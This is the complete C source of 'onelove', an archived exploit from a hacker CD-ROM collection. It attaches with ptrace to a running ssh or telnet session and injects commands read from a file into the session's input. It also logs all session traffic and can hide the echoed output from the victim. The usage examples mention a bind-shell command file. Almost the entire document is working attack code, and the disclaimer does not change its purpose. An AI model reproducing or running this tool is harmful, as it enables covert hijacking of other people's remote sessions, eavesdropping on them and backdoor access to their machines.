home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / onelove / onelove.c
Encoding:
C/C++ Source or Header  |  2002-10-21  |  13.7 KB  |  629 lines

  1. /*
  2.  *
  3.  * $Id: onelove.c,v 0.4 2002/10/03 2:10:27 xenion Exp $
  4.  *
  5.  * ---------------------------------------------------------------------------
  6.  * No part of this project may be used to break the law, or to cause damage of
  7.  * any kind. And I'm not responsible for anything you do with it.
  8.  * ---------------------------------------------------------------------------
  9.  * "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
  10.  * <xenion@acidlife.com> wrote this file.  As long as you retain this notice
  11.  * you can do whatever you want with this stuff. If we meet some day, and you
  12.  * think this stuff is worth it, you can buy me a beer in return.
  13.  * xenion ~ Dallachiesa Michele
  14.  * ---------------------------------------------------------------------------
  15.  *
  16.  * This is proof of concept code demostrating how we can inject commands 
  17.  * on a ptraced telnet/ssh session.
  18.  *
  19.  * ---------------------------------------------------------------------------
  20.  *
  21.  *
  22.  * EXAMPLES
  23.  *
  24.  * ./onelove -p2418 -0 -c _boxinfo -l l0g -+ -e
  25.  * 
  26.  *      attach pid 2418, 
  27.  *      enable ssh fd(s), 
  28.  *      use _boxinfo for commands, 
  29.  *      log to file,
  30.  *      log to stdout (without -l ignored), 
  31.  *      enable echo hiding.
  32.  * 
  33.  * ./onelove -p3953 -1 -c _bindshell -e
  34.  * 
  35.  *      attach pid 3953,
  36.  *      enable telnet fd(s),
  37.  *      use _bindshell for commands,
  38.  *      enable echo hiding.
  39.  *
  40.  *
  41.  * LENGTH OF read(2) BUFFERS, MIGHT HELP SOMETIMES:
  42.  *
  43.  * ssh   : 16384 
  44.  * telnet: 8192 
  45.  * BitchX: 2048 
  46.  *
  47.  *
  48.  * GREETZ
  49.  *
  50.  * Dark-Angel, my friends.. you know who you are.
  51.  *
  52.  */
  53.  
  54.  
  55. #include <stdlib.h>
  56. #include <string.h>
  57. #include <stdarg.h>
  58. #include <unistd.h>
  59. #include <stdio.h>
  60. #include <sys/ptrace.h>
  61. #include <sys/types.h>
  62. #include <sys/wait.h>
  63. #include <linux/user.h>
  64. #include <signal.h>
  65. #include <asm/unistd.h>
  66. #include <dirent.h>
  67. #include <errno.h>
  68. #include <limits.h>
  69. #include <time.h>
  70. #include <sys/stat.h>
  71.  
  72.  
  73. #define WORD_SIZE 4
  74. #define BUFLEN 4096
  75. #define CMDLEN 4096
  76. #define VERSION "0.4"
  77.  
  78. /*
  79.  * PTRACE states 
  80.  */
  81. #define PTRACE_NOT_ATTACHED 0    /* not yet attached */
  82. #define PTRACE_STOP1        1    /* first stop */
  83. #define PTRACE_STOP2        2    /* second stop */
  84. #define PTRACE_DONE         3    /* we've finished our work */
  85.  
  86. /*
  87.  * INJECT states 
  88.  */
  89. #define INJECT_NOTH       0    /* nothing to do, just do nothing */
  90. #define INJECT_TODO       1    /* we've to inject our commands */
  91. #define INJECT_HIDE       2    /* now we've to hide the output */
  92.  
  93. /*
  94.  * ssh/telnet fd(s) 
  95.  */
  96. #define READ_FD_SSH     4
  97. #define WRITE_FD_SSH    5
  98. #define READ_FD_TELNET  0
  99. #define WRITE_FD_TELNET 1
  100.  
  101. #define LOG(arg...) {          \
  102.    fprintf(o.log, "## ");      \
  103.    fprintf(o.log, ## arg);     \
  104.    fflush(o.log);              \
  105.    if(o.stdout) {              \
  106.      fprintf(stdout, "## ");   \
  107.      fprintf(stdout, ## arg);  \
  108.      fflush(stdout);           \
  109.      }                         \
  110.    }
  111.  
  112. #define LOG_WRITE(arg...) {    \
  113.    fwrite(## arg, o.log);      \
  114.    fflush(o.log);              \
  115.    if(o.stdout) {              \
  116.      fwrite(## arg, stdout);   \
  117.      fflush(stdout);           \
  118.      }                         \
  119.    }
  120.  
  121.  
  122. // 'x' viene approssimato per eccesso ad un multiplo di 'y'
  123. #define COUNT_OK(x, y) (##x % ##y != 0 ? ##x+(##y - (##x % ##y)) : ##x)
  124.  
  125. // 'x' viene approssimato per difetto ad un multiplo di 'y'
  126. #define LEN_OK(x, y) (##x-(##x % ##y))
  127.  
  128. #define IS_SYSCALL_AND_FD(x) \
  129.    (data.orig_eax == __NR_##x && data.ebx == o.fd_##x)
  130.  
  131. #define SIG_NAME(x) x == SIGURG  ? "SIGURG"  : \
  132.                     x == SIGPIPE ? "SIGPIPE" : \
  133.                     x == SIGQUIT ? "SIGQUIT" : \
  134.                     x == SIGINT  ? "SIGINT"  : \
  135.                     x == SIGTERM ? "SIGTERM" : \
  136.                     x == SIGHUP  ? "SIGHUP"  : \
  137.                     x == SIGSEGV ? "SIGSEGV" : \
  138.                     x == SIGBUS  ? "SIGBUS"  : "UNKNOWN"
  139.  
  140. #define FD_SSH_OR_TELNET o.fd_read == READ_FD_SSH ?       \
  141.                          (o.fd_write == WRITE_FD_SSH ?    \
  142.                          "(ssh)" : "") :                  \
  143.                          o.fd_read == READ_FD_TELNET ?    \
  144.                          (o.fd_write == WRITE_FD_TELNET ? \
  145.                          "(telnet)" : "") : ""
  146.  
  147.  
  148. void            fatal(char *, ...);
  149. void            init_opt(int, char **);
  150. void            help();
  151. void            sigdie(int);
  152. int             memread(pid_t, unsigned char *, unsigned char *, long,
  153.             long);
  154. int             memwrite(pid_t, unsigned char *, unsigned char *, long,
  155.              long);
  156. int             dataonstdin();
  157. unsigned char  *memem(unsigned char *, unsigned char *, size_t, size_t);
  158.  
  159.  
  160. typedef struct {
  161.     pid_t           pid;
  162.     int             status,
  163.                     mode,
  164.                     inject,
  165.                     echo,
  166.                     cmdlen,
  167.                     fd_read,
  168.                     fd_write,
  169.                     stdout;
  170.     unsigned char   cmd[CMDLEN];
  171.     FILE           *log;
  172. } OPT;
  173.  
  174.  
  175. OPT             o;
  176.  
  177.  
  178. int
  179. main(int argc, char **argv)
  180. {
  181.     struct user_regs_struct data;
  182.     unsigned char   buf[BUFLEN];
  183.     int             z;
  184.     long            edx_write_backup;
  185.  
  186.     o.mode = PTRACE_NOT_ATTACHED;
  187.  
  188.     init_opt(argc, argv);
  189.  
  190.     LOG("pid         : %d\n", getpid());
  191.     LOG("ptraced pid : %d\n", o.pid);
  192.     LOG("echo        : %s\n", o.echo ? "YES" : "NO");
  193.     LOG("fds         : r:%d,w:%d %s\n", o.fd_read, o.fd_write,
  194.     FD_SSH_OR_TELNET);
  195.     LOG("\n");
  196.  
  197.     signal(SIGTERM, sigdie);
  198.     signal(SIGINT, sigdie);
  199.     signal(SIGQUIT, sigdie);
  200.     signal(SIGHUP, sigdie);
  201.     signal(SIGSEGV, sigdie);
  202.     signal(SIGURG, SIG_IGN);
  203.  
  204.     if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0)
  205.     fatal("ptrace(PTRACE_ATTACH, ...) failed");
  206.  
  207.     LOG("Attached! Now I'll display the session I/O. When you're\n");
  208.     LOG("sure the user can run commands, press ENTER and wait.\n");
  209.     LOG("\n");
  210.  
  211.     o.mode = PTRACE_STOP1;
  212.     o.inject = INJECT_NOTH;
  213.  
  214.     wait(NULL);
  215.  
  216.     while (o.mode != PTRACE_DONE) {
  217.  
  218.     if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0)
  219.         fatal("ptrace(PTRACE_SYSCALL ...) failed");
  220.  
  221.     wait(&o.status);
  222.  
  223.     if (WSTOPSIG(o.status) != SIGTRAP) {
  224.         LOG("Sending signal %d\n", WSTOPSIG(o.status));
  225.         ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status));
  226.     }
  227.  
  228.     if (ptrace(PTRACE_GETREGS, o.pid, 0, &data) < 0)
  229.         fatal("ptrace(PTRACE_GETREGS ...) failed");
  230.  
  231.     switch (o.mode) {
  232.  
  233.     case PTRACE_STOP1:
  234.  
  235.         if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
  236.         z = memread(o.pid, buf, (unsigned char *) data.ecx,
  237.                 data.edx, sizeof buf);
  238.  
  239.         edx_write_backup = data.edx;
  240.         data.edx = 0;
  241.  
  242.         if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
  243.             fatal("ptrace(PTRACE_SETREGS ...) failed");
  244.  
  245.         if (z < 0) {
  246.             LOG("\n*** WARNING(0): memread() failed (%ld bytes to read) ***\n", edx_write_backup);
  247.         } else
  248.             LOG_WRITE(buf, 1, data.edx);
  249.         }
  250.  
  251.         o.mode = PTRACE_STOP2;
  252.         break;
  253.  
  254.     case PTRACE_STOP2:
  255.  
  256.         if (dataonstdin()) {
  257.         read(0, buf, sizeof buf);
  258.  
  259.         if (*buf == 'q')
  260.             fatal("Aborted");
  261.  
  262.         if (o.inject == INJECT_NOTH) {
  263.             o.inject = INJECT_TODO;
  264.             LOG("\n");
  265.             LOG("I'll wait for a read(2) buffer ending with \\r or \\n,\n");
  266.             LOG("where I'll inject the commands..\n");
  267.             LOG("\n");
  268.         }
  269.  
  270.         if (o.inject == INJECT_HIDE) {
  271.             LOG("Done, exiting..\n");
  272.             o.inject = INJECT_NOTH;
  273.             o.mode = PTRACE_DONE;
  274.             LOG("\n");
  275.             LOG("Done.\n");
  276.             break;
  277.         }
  278.         }
  279.  
  280.         if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
  281.         /*
  282.          * restoring the count of bytes to send 
  283.          */
  284.         data.eax = edx_write_backup;
  285.         if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
  286.             fatal("ptrace(PTRACE_SETREGS ...) failed");
  287.         }
  288.  
  289.         if (IS_SYSCALL_AND_FD(write) || IS_SYSCALL_AND_FD(read)) {
  290.         z = memread(o.pid, buf, (unsigned char *) data.ecx,
  291.                 data.eax, sizeof buf);
  292.  
  293.         if (z < 0) {
  294.             LOG("\n*** WARNING(1): memread() failed (%ld bytes to read) ***\n", data.eax);
  295.             o.mode = PTRACE_STOP1;
  296.             break;
  297.         }
  298.  
  299.         LOG_WRITE(buf, 1, data.eax);
  300.  
  301.         if (o.inject == INJECT_TODO && IS_SYSCALL_AND_FD(read)) {
  302.  
  303.             if (buf[data.eax - 1] == '\r'
  304.             || buf[data.eax - 1] == '\n') {
  305.  
  306.             LOG("Injecting commands\n");
  307.  
  308.             z = memwrite(o.pid,
  309.                      (unsigned char *) (data.ecx +
  310.                             data.eax), o.cmd,
  311.                      o.cmdlen, sizeof o.cmd);
  312.             if (z < 0)
  313.                 fatal("memwrite( ...) failed");
  314.  
  315.             data.eax += o.cmdlen;
  316.  
  317.             if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
  318.                 fatal("ptrace(PTRACE_SETREGS ...) failed");
  319.  
  320.             if (!o.echo) {
  321.                 LOG("Done.\n");
  322.                 o.mode = PTRACE_DONE;
  323.                 break;
  324.             } else {
  325.                 o.inject = INJECT_HIDE;
  326.                 LOG("Done.\n");
  327.                 LOG("I'll hide all write(2)s untill you press ENTER\n");
  328.                 LOG("\n");
  329.  
  330.             }
  331.             }
  332.         }
  333.         }
  334.  
  335.         o.mode = PTRACE_STOP1;
  336.         break;
  337.  
  338.     default:
  339.         fatal("Oops");
  340.         break;
  341.     }
  342.     }
  343.  
  344.     LOG("Detaching process\n");
  345.     if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) {
  346.     LOG("ptrace(PTRACE_DETACH ...) failed\n");
  347.     } else
  348.     LOG("Ok, you're safe this time ;)\n\n");
  349.     return 0;
  350. }
  351.  
  352.  
  353. void
  354. init_opt(int argc, char **argv)
  355. {
  356.     int             c;
  357.     FILE           *f;
  358.  
  359.     o.echo = 0;
  360.     o.pid = 0;
  361.     o.fd_read = o.fd_write = -1;
  362.     o.cmdlen = -1;
  363.     o.log = stdout;
  364.     o.stdout = 0;
  365.  
  366.     while ((c = getopt(argc, argv, "p:r:w:01c:l:+eh")) != EOF)
  367.     switch (c) {
  368.  
  369.     case 'p':
  370.         o.pid = atoi(optarg);
  371.         break;
  372.  
  373.     case 'r':
  374.         o.fd_read = atoi(optarg);
  375.         break;
  376.  
  377.     case 'w':
  378.         o.fd_write = atoi(optarg);
  379.         break;
  380.  
  381.     case '0':
  382.         o.fd_read = READ_FD_SSH;
  383.         o.fd_write = WRITE_FD_SSH;
  384.         break;
  385.  
  386.     case '1':
  387.         o.fd_read = READ_FD_TELNET;
  388.         o.fd_write = WRITE_FD_TELNET;
  389.         break;
  390.  
  391.     case 'l':
  392.         o.log = fopen(optarg, "a+");
  393.         if (o.log == NULL)
  394.         fatal("unable to open log file");
  395.         break;
  396.  
  397.     case '+':
  398.         o.stdout = 1;
  399.         break;
  400.  
  401.     case 'c':
  402.         f = fopen(optarg, "r");
  403.         if (f == NULL)
  404.         fatal("unable to open cmd file");
  405.         o.cmdlen = fread(o.cmd, 1, sizeof o.cmd, f);
  406.         if (o.cmdlen == sizeof o.cmd || o.cmdlen == 0)
  407.         fatal("cmdfile broken");
  408.         fclose(f);
  409.         break;
  410.  
  411.     case 'e':
  412.         o.echo = 1;
  413.         break;
  414.  
  415.     case 'h':
  416.         help();
  417.         break;
  418.  
  419.     default:
  420.         fatal("try -h");
  421.     }
  422.  
  423.     if (o.pid == 0)
  424.     fatal("pid needed");
  425.  
  426.     if (o.fd_read == -1 || o.fd_write == -1)
  427.     fatal("r/w fd(s) needed");
  428.  
  429.     switch (o.cmdlen) {
  430.     case -1:
  431.     fatal("cmd file needed");
  432.     case 0:
  433.     fatal("cmd file broken");
  434.     }
  435.  
  436.     if (o.log == stdout)
  437.     o.stdout = 0;
  438.  
  439. }
  440.  
  441.  
  442. void
  443. fatal(char *pattern, ...)
  444. {
  445.     va_list         ap;
  446.  
  447.     va_start(ap, pattern);
  448.     fprintf(o.log, "** ");
  449.     vfprintf(o.log, pattern, ap);
  450.     fprintf(o.log, "; exit forced.\n");
  451.     va_end(ap);
  452.  
  453.     if (o.pid == 0) {
  454.     fclose(o.log);
  455.     exit(1);
  456.     }
  457.  
  458.     sigdie(SIGTERM);
  459. }
  460.  
  461.  
  462.  
  463. void
  464. help()
  465. {
  466.     printf
  467.     ("onelove v%s by xenion - Injects commands on a ptraced telnet/ssh session\n\n",
  468.      VERSION);
  469.     printf("USAGE: onelove [options]\n\n");
  470.     printf("-p pid                              (ssh|telnet) pid\n");
  471.     printf
  472.     ("-0                                  default fd(s) for ssh (r:%d,w:%d)\n",
  473.      READ_FD_SSH, WRITE_FD_SSH);
  474.     printf
  475.     ("-1                                  default fd(s) for telnet (r:%d,w:%d)\n",
  476.      READ_FD_TELNET, WRITE_FD_TELNET);
  477.     printf("-r fd                               read(2) fd\n");
  478.     printf("-w fd                               write(2) fd\n");
  479.     printf("-c file                             cmdfile\n");
  480.     printf("-l file                             logfile\n");
  481.     printf
  482.     ("-+                                  log to stdout (without -l ignored)\n");
  483.     printf("-e                                  enable echo hiding\n\n");
  484.  
  485.     exit(0);
  486. }
  487.  
  488.  
  489. void
  490. sigdie(int signo)
  491. {
  492.     int             pid;
  493.  
  494.     LOG("caught %s signal (%d), cleaning up\n", SIG_NAME(signo), signo);
  495.  
  496.     if (o.mode != PTRACE_NOT_ATTACHED) {
  497.  
  498.     switch (pid = fork()) {
  499.  
  500.     case -1:
  501.         fatal("fork()");
  502.         break;
  503.  
  504.     case 0:        /* child process starts */
  505.         LOG("Sending a SIGCONT signal to the ptraced process\n");
  506.         if (kill(o.pid, SIGCONT) < 0) {
  507.         o.pid = 0;
  508.         fatal("kill()");
  509.         }
  510.         break;
  511.  
  512.     default:        /* parent process starts */
  513.         wait(&o.status);
  514.         if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0)
  515.         LOG("ptrace(PTRACE_DETACH ...) failed\n");
  516.         LOG("exited: %s\n", strerror(errno));
  517.         break;
  518.  
  519.     }
  520.  
  521.     }
  522.  
  523.     fclose(o.log);
  524.     exit(0);
  525. }
  526.  
  527.  
  528. int
  529. memread(pid_t pid, unsigned char *dest, unsigned char *src, long count,
  530.     long len)
  531. {
  532.     long            off;
  533.     long            res;
  534.  
  535.     if (count < 0 || len < 0)
  536.     return (-1);
  537.  
  538.     count = COUNT_OK(count, WORD_SIZE);
  539.     len = LEN_OK(len, WORD_SIZE);
  540.  
  541.     if (len < count)
  542.     return -1;
  543.  
  544.     for (off = 0; off < count; off += WORD_SIZE) {
  545.     res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0);
  546.     if (errno > 0)
  547.         return -1;
  548.     else
  549.         memcpy(dest + off, &res, WORD_SIZE);
  550.     }
  551.  
  552.     return count;
  553. }
  554.  
  555.  
  556. int
  557. memwrite(pid_t pid, unsigned char *dest, unsigned char *src, long count,
  558.      long len)
  559. {
  560.     long            off;
  561.     long            res;
  562.  
  563.     if (count < 0 || len < 0)
  564.     return (-1);
  565.  
  566.     count = COUNT_OK(count, WORD_SIZE);
  567.     len = LEN_OK(len, WORD_SIZE);
  568.  
  569.     if (len < count)
  570.     return -1;
  571.  
  572.     for (off = 0; off < count; off += WORD_SIZE) {
  573.     memcpy(&res, src + off, WORD_SIZE);
  574.     if (ptrace(PTRACE_POKETEXT, pid, dest + off, res) < 0)
  575.         return -1;
  576.     }
  577.  
  578.     return count;
  579. }
  580.  
  581.  
  582. int
  583. dataonstdin()
  584. {
  585.     fd_set          rfds;
  586.     struct timeval  tv;
  587.     int             retval;
  588.  
  589.     FD_ZERO(&rfds);
  590.     FD_SET(0, &rfds);
  591.     tv.tv_sec = tv.tv_usec = 0;
  592.  
  593.     retval = select(1, &rfds, NULL, NULL, &tv);
  594.  
  595.     if (retval)
  596.     return 1;
  597.     else
  598.     return 0;
  599. }
  600.  
  601. unsigned char  *
  602. memem(unsigned char *buf0, unsigned char *buf1, size_t len0, size_t len1)
  603. {
  604.     size_t          i,
  605.                     j;
  606.     int             found;
  607.  
  608.     if (len1 > len0)
  609.     return NULL;
  610.  
  611.     for (i = 0; i < len0; ++i) {
  612.     if (buf0[i] == buf1[0]) {
  613.         found = 1;
  614.         for (j = 1; j + i < len0 && j < len1; ++j)
  615.         if (buf0[i + j] != buf1[j])
  616.             found = 0;
  617.         if (found)
  618.         return &buf0[i];
  619.     }
  620.     }
  621.  
  622.     return (NULL);
  623. }
  624.  
  625. /*
  626.  * EOF
  627.  */
  628.  
  629.